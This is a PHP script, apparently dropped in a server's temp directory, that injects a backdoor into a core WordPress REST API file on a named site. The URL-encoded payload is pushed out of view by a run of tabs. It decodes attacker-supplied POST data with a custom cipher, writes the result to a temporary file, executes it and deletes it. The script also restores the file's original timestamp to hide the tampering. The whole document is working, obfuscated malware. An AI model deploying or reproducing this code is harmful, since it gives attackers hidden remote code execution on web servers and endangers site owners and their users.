File: //tmp/.rfind
<?php $path = '/var/www/vhost/www.mocrea.it/wp-includes/rest-api/endpoints/class-wp-rest-post-statuses-controller.php'; $ft = @filemtime($path); $content = file_get_contents($path); $new_code = rawurldecode('if%28%40%24_POST%5B%22dat%22%5D%20%21%3D%3D%20null%29%7B%20%24value%20%3D%20array_filter%28%5B%22/dev/shm%22%2C%20getcwd%28%29%2C%20getenv%28%22TEMP%22%29%2C%20getenv%28%22TMP%22%29%2C%20sys_get_temp_dir%28%29%2C%20%22/tmp%22%2C%20%22/var/tmp%22%2C%20ini_get%28%22upload_tmp_dir%22%29%2C%20session_save_path%28%29%5D%29%3B%20%24reference%20%3D%20%24_POST%5B%22dat%22%5D%3B%20%24reference%3D%20explode%28%22.%22%2C%20%24reference%29%3B%20%24desc%20%3D%20%27%27%3B%20%24salt8%20%3D%20%27abcdefghijklmnopqrstuvwxyz0123456789%27%3B%20%24lenS%20%3D%20strlen%28%20%24salt8%20%29%3B%20%24k%20%3D%200%3B%20%24__tmp%20%3D%20%24reference%3B%20while%28%20%24v9%20%3D%20array_shift%28%20%24__tmp%29%29%20%7B%20%24chS%20%3D%20ord%28%20%24salt8%5B%24k%20%25%20%24lenS%5D%20%29%3B%20%24d%20%3D%28%20%28%20int%29%24v9%20-%20%24chS%20-%28%20%24k%20%25%2010%29%29%20%5E%2013%3B%20%24desc%20.%3D%20chr%28%20%24d%20%29%3B%20%24k%2B%2B%3B%20%7D%20foreach%20%28%24value%20as%20%24key%20%3D%3E%20%24flg%29%20%7B%20if%20%28is_dir%28%24flg%29%20%3F%20is_writable%28%24flg%29%20%3A%20false%29%20%7B%20%24item%20%3D%20sprintf%28%22%25s/.symbol%22%2C%20%24flg%29%3B%20if%20%28file_put_contents%28%24item%2C%20%24desc%29%29%20%7B%20require%20%24item%3B%20unlink%28%24item%29%3B%20die%28%29%3B%20%7D%20%7D%20%7D%20%7D'); if (strstr($content, $new_code)) { die('!already injected!'); } $starts = ['<?php', '<?']; foreach ($starts as $start) { if (substr($content, 0, strlen($start)) == $start) { $content = substr($content, strlen($start)); $content = $start.str_repeat("\t", 42).$new_code."\n".$content; if (file_put_contents($path, $content)) { @touch($path, $ft); $content = file_get_contents($path); if (strstr($content, $new_code)) { die('!success!'); } } } } die('!failed!');